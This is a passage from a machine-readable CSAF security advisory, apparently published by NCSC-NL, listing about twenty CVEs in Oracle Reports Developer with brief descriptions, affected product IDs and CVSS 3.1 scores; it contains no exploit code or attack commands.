"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62616.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62616"
},
{
"cve": "CVE-2026-62617",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to fully compromise the system via UDP, with a CVSS 3.1 base score of 9.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62617 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62617.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62617"
},
{
"cve": "CVE-2026-62618",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62618 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62618.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62618"
},
{
"cve": "CVE-2026-62619",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to potentially compromise system confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62619 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62619.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62619"
},
{
"cve": "CVE-2026-62620",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6, affecting multiple Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62620 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62620.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62620"
},
{
"cve": "CVE-2026-62621",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 base score of 9.8 allows full system compromise affecting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62621 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62621.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62621"
},
{
"cve": "CVE-2026-62622",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62622 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62622.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62622"
},
{
"cve": "CVE-2026-62623",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8 for high impact on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62623 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62623.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62623"
},
{
"cve": "CVE-2026-62624",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 via IIOP has a CVSS 3.1 score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62624 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62624.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62624"
},
{
"cve": "CVE-2026-62625",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62625 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62625.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62625"
},
{
"cve": "CVE-2026-62626",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 12.2.1.19.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62626 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62626.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62626"
},
{
"cve": "CVE-2026-62627",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 12.2.1.19.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62627 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62627.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62627"
},
{
"cve": "CVE-2026-62628",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 12.2.1.19.0 allows unauthenticated network attackers to gain unauthorized access to sensitive data, with a CVSS 3.1 base score of 8.6, potentially affecting additional Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62628 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62628.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62628"
},
{
"cve": "CVE-2026-62629",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to access, modify, or delete data and cause denial of service, with a CVSS 3.1 base score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62629 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62629.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62629"
},
{
"cve": "CVE-2026-62630",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62630 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62630.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62630"
},
{
"cve": "CVE-2026-62631",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62631 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62631.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62631"
},
{
"cve": "CVE-2026-62632",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62632 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62632.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62632"
},
{
"cve": "CVE-2026-62633",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62633 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62633.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62633"
},
{
"cve": "CVE-2026-62634",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62634 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62634.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62634"
},
{
"cve": "CVE-2026-62635",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
